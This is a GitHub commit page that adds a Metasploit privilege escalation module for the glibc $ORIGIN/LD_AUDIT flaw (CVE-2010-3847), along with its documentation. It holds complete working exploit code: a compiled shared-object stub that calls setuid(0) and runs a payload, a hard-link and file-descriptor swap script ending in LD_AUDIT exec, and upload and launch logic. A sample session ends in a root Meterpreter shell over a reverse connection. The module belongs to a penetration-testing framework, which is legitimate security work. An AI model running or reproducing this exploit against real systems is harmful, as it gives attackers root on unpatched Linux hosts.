Skip to content

Commit fcaee81

Browse files
committed
Land rapid7#9467 linux priv esc against glibc origin
2 parents 8aa8b6d + 38252e4 commit fcaee81

File tree

2 files changed

+306
-0
lines changed

2 files changed

+306
-0
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
## Description
2+
3+
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker - aka glibc `$ORIGIN` expansion vulnerability.
4+
5+
6+
## Vulnerable Application
7+
8+
glibc `ld.so` in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the `LD_AUDIT` environment variable when loading setuid executables. This allows control over the `$ORIGIN` library search path resulting in execution of arbitrary shared objects.
9+
10+
This module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution.
11+
12+
The specified setuid binary must be readable and located on the same file system partition as the specified writable directory.
13+
14+
This module has been tested successfully on:
15+
16+
* glibc 2.5 on CentOS 5.4 (x86_64)
17+
* glibc 2.5 on CentOS 5.5 (x86_64)
18+
* glibc 2.12 on Fedora 13 (i386, x86_64)
19+
20+
RHEL 5 is reportedly affected, but untested.
21+
22+
Some versions of `ld.so` hit a failed assertion in `dl_open_worker` causing exploitation to fail.
23+
24+
25+
## Verification Steps
26+
27+
1. Start `msfconsole`
28+
2. Get a session
29+
3. Do: `use exploit/linux/local/glibc_origin_expansion_priv_esc`
30+
4. Do: `set SESSION [SESSION]`
31+
5. Do: `check`
32+
6. Do: `run`
33+
7. You should get a new *root* session
34+
35+
36+
## Options
37+
38+
**SESSION**
39+
40+
Which session to use, which can be viewed with `sessions`
41+
42+
**WritableDir**
43+
44+
A writable directory file system path. (default: `/tmp`)
45+
46+
47+
## Scenarios
48+
49+
```
50+
msf > use exploit/linux/local/glibc_origin_expansion_priv_esc
51+
msf exploit(linux/local/glibc_origin_expansion_priv_esc) > set session 1
52+
session => 1
53+
msf exploit(linux/local/glibc_origin_expansion_priv_esc) > run
54+
55+
[*] Started reverse TCP handler on 172.16.191.244:4444
56+
[+] The target appears to be vulnerable
57+
[*] Using target: Linux x86
58+
[*] Writing '/tmp/.R5Ork' (1279 bytes) ...
59+
[*] Writing '/tmp/.yE35DWbLd' (320 bytes) ...
60+
[*] Writing '/tmp/.sk7Z3Vl7vJ' (207 bytes) ...
61+
[*] Launching exploit...
62+
[*] Sending stage (857352 bytes) to 172.16.191.138
63+
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.138:59187) at 2018-01-27 04:21:24 -0500
64+
65+
meterpreter > getuid
66+
Server username: uid=0, gid=0, euid=0, egid=0
67+
meterpreter > sysinfo
68+
Computer : fedora13.localdomain
69+
OS : Fedora 13 (Linux 2.6.33.3-85.fc13.i686.PAE)
70+
Architecture : i686
71+
BuildTuple : i486-linux-musl
72+
Meterpreter : x86/linux
73+
meterpreter >
74+
```
75+
Lines changed: 231 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,231 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/local/linux'
7+
require 'msf/core/exploit/exe'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
include Msf::Exploit::Local::Linux
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
20+
'Description' => %q{
21+
This module attempts to gain root privileges on Linux systems by abusing
22+
a vulnerability in the GNU C Library (glibc) dynamic linker.
23+
24+
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
25+
properly restrict use of the LD_AUDIT environment variable when loading
26+
setuid executables which allows control over the $ORIGIN library search
27+
path resulting in execution of arbitrary shared objects.
28+
29+
This module opens a file descriptor to the specified suid executable via
30+
a hard link, then replaces the hard link with a shared object before
31+
instructing the linker to execute the file descriptor, resulting in
32+
arbitrary code execution.
33+
34+
The specified setuid binary must be readable and located on the same
35+
file system partition as the specified writable directory.
36+
37+
This module has been tested successfully on glibc version 2.5 on CentOS
38+
5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).
39+
40+
RHEL 5 is reportedly affected, but untested. Some versions of ld.so
41+
hit a failed assertion in dl_open_worker causing exploitation to fail.
42+
},
43+
'License' => MSF_LICENSE,
44+
'Author' =>
45+
[
46+
'Tavis Ormandy', # Discovery and exploit
47+
'Brendan Coles' # Metasploit
48+
],
49+
'DisclosureDate' => 'Oct 18 2010',
50+
'Platform' => 'linux',
51+
'Arch' => [ ARCH_X86, ARCH_X64 ],
52+
'SessionTypes' => [ 'shell', 'meterpreter' ],
53+
'Targets' =>
54+
[
55+
[ 'Automatic', { } ],
56+
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
57+
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
58+
],
59+
'DefaultTarget' => 0,
60+
'References' =>
61+
[
62+
[ 'CVE', '2010-3847' ],
63+
[ 'BID', '44154' ],
64+
[ 'EDB', '15274' ],
65+
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
66+
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
67+
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
68+
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
69+
]
70+
))
71+
register_options(
72+
[
73+
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
74+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
75+
])
76+
end
77+
78+
def base_dir
79+
datastore['WritableDir']
80+
end
81+
82+
def suid_exe_path
83+
datastore['SUID_EXECUTABLE']
84+
end
85+
86+
def check
87+
glibc_banner = cmd_exec 'ldd --version'
88+
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
89+
if glibc_version.eql? ''
90+
vprint_error 'Could not determine the GNU C library version'
91+
return CheckCode::Safe
92+
elsif glibc_version >= Gem::Version.new('2.12.2') ||
93+
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
94+
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
95+
return CheckCode::Safe
96+
end
97+
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
98+
99+
unless setuid? suid_exe_path
100+
vprint_error "#{suid_exe_path} is not setuid"
101+
return CheckCode::Detected
102+
end
103+
vprint_good "#{suid_exe_path} is setuid"
104+
105+
unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
106+
vprint_error("#{suid_exe_path} is not readable")
107+
return CheckCode::Detected
108+
end
109+
vprint_good "#{suid_exe_path} is readable"
110+
111+
CheckCode::Appears
112+
end
113+
114+
def upload_and_chmodx(path, data)
115+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
116+
rm_f path
117+
write_file path, data
118+
cmd_exec "chmod +x '#{path}'"
119+
register_file_for_cleanup path
120+
end
121+
122+
def exploit
123+
check_status = check
124+
125+
if check_status == CheckCode::Appears
126+
print_good 'The target appears to be vulnerable'
127+
elsif check_status == CheckCode::Detected
128+
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
129+
else
130+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
131+
end
132+
133+
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
134+
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
135+
if suid_partition == base_partition
136+
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
137+
else
138+
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
139+
end
140+
141+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
142+
payload_path = "#{base_dir}/#{payload_name}"
143+
144+
# Set target
145+
uname = cmd_exec 'uname -m'
146+
vprint_status "System architecture is #{uname}"
147+
if target.name.eql? 'Automatic'
148+
case uname
149+
when 'x86_64'
150+
my_target = targets[2]
151+
when /x86/, /i\d86/
152+
my_target = targets[1]
153+
else
154+
fail_with Failure::NoTarget, 'Unable to automatically select a target'
155+
end
156+
else
157+
my_target = target
158+
end
159+
print_status "Using target: #{my_target.name}"
160+
161+
cpu = nil
162+
case my_target['Arch']
163+
when ARCH_X86
164+
cpu = Metasm::Ia32.new
165+
when ARCH_X64
166+
cpu = Metasm::X86_64.new
167+
else
168+
fail_with Failure::NoTarget, 'Target is not compatible'
169+
end
170+
171+
# Compile shared object
172+
so_stub = %|
173+
extern int setuid(int);
174+
extern int setgid(int);
175+
extern int system(const char *__s);
176+
177+
void init(void) __attribute__((constructor));
178+
179+
void __attribute__((constructor)) init() {
180+
setuid(0);
181+
setgid(0);
182+
system("#{payload_path}");
183+
}
184+
|
185+
186+
begin
187+
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
188+
rescue
189+
print_error "Metasm encoding failed: #{$ERROR_INFO}"
190+
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
191+
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
192+
fail_with Failure::Unknown, 'Metasm encoding failed'
193+
end
194+
195+
# Upload shared object
196+
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
197+
so_path = "#{base_dir}/#{so_name}"
198+
upload_and_chmodx so_path, so
199+
200+
# Upload exploit
201+
link_name = ".#{rand_text_alphanumeric rand(5..10)}"
202+
link_path = "#{base_dir}/#{link_name}"
203+
fd = rand(10..200)
204+
exp = %(
205+
rm -rf '#{link_path}'
206+
mkdir '#{link_path}'
207+
ln #{suid_exe_path} #{link_path}/#{link_name}
208+
exec #{fd}< #{link_path}/#{link_name}
209+
ls -l /proc/$$/fd/#{fd}
210+
rm -rf '#{link_path}'
211+
ls -l /proc/$$/fd/#{fd}
212+
mv #{so_path} #{link_path}
213+
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
214+
)
215+
216+
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
217+
exp_path = "#{base_dir}/#{exp_name}"
218+
upload_and_chmodx exp_path, exp
219+
register_file_for_cleanup link_path
220+
221+
# Upload payload
222+
upload_and_chmodx payload_path, generate_payload_exe
223+
224+
# Launch exploit
225+
print_status 'Launching exploit...'
226+
# The echo at the end of the command is required
227+
# else the original session may die
228+
output = cmd_exec "#{exp_path}& echo "
229+
output.each_line { |line| vprint_status line.chomp }
230+
end
231+
end

0 commit comments

Comments
 (0)